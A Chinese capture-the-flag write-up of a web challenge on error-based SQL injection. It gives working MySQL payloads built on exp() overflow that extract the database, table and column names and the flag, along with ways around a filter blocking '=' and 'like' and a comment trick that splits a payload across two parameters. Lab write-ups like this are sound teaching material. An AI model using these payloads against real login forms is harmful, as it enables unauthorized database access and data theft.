实验吧 WEB 加了料的报错注入
-
没有用户名和密码的输入框,因此不能直接在URL中传递username和password参数。要使用hackbar或者burpsuit传。(还不太理解为什么)
-
首先尝试
username=1&password=1
,提示Login failed。 -
尝试
username='or'1&password='or'1
,提示You are our member, welcome to enter。 -
因为是报错注入,尝试
username='or exp (1) or'&password=1
,提示User name unknow error。 -
尝试
username=1&password='or exp(1) or'
,提示You are our member, welcome to enter。
这里有一个小细节需要注意,要处理后面多出的单个'
时,只需要在注入语句后面加上or'
即可。
猜测可以对password参数进行报错注入。 -
尝试
username=1&password='or exp (~(select * from (select database())x))or'
,果然,得到当前的数据库名称: -
下面尝试
username=1&password='or exp (~(select * from (select group_concat(table_name) from information_schema.tables where schema_name = database())x))or'
,却没有注出我们想要的表名,而是提示Sql injection detected。猜测可能存在waf对我们刚刚修改的某些字符进行了过滤,下面试图找出被过滤的字符。
尝试username=1&password=group_concat(table_name) from information_schema.tables where schema_name = database())x))
,提示Sql injection detected。
尝试username=1&password=group_concat(table_name) from information_schema.tables
,提示Login failed。
尝试username=1&password=where schema_name = database())x))
,提示Sql injection detected。
猜想被过滤的字符是=
,尝试username=1&password==
,果然提示Sql injection detected。
也就是说我们不能使用=。 -
有三个方法可以解决这个问题:
方法一:
使用!
和<>
的组合,等效于使用=
。username=1&password=' or exp(~(select * from(select group_concat(table_name) from information_schema.tables where !(table_schema<>database()))x)) or'
得到表名:方法二:
使用regexp
:username=1&password=' or exp(~(select * from(select group_concat(table_name) from information_schema.tables where table_schema regexp database())x)) or'
方法三:
使用in
:username=1&password=' or exp(~(select * from(select group_concat(table_name) from information_schema.tables where table_schema in (select database()))x)) or'
另:
尝试使用like
,时,发现like
也被过滤了。 -
猜测flag在ffll44jj表中,下面尝试注出列名:
username=1&password=' or exp(~(select * from(select group_concat(column_name) from information_schema.columns where table_schema regexp database() and table_name regexp 'ffll44jj')x)) or'
-
猜测flag就在ffll44jj表的value字段中。
username=1&password=' or exp(~(select * from(select value from ffll44jj)x)) or'
果然,得到flag。
另外,在看其他的题解博客时,看到一个有趣的假设,username中把()过滤掉,password中把报错注入的函数名过滤掉。那就只能使用mysql的/**/注释方法,把函数名和括号之间的东西全部注释掉。
例如:username='or exp/*&password=*/(~(select * from(select value from ffll44jj)x)) or'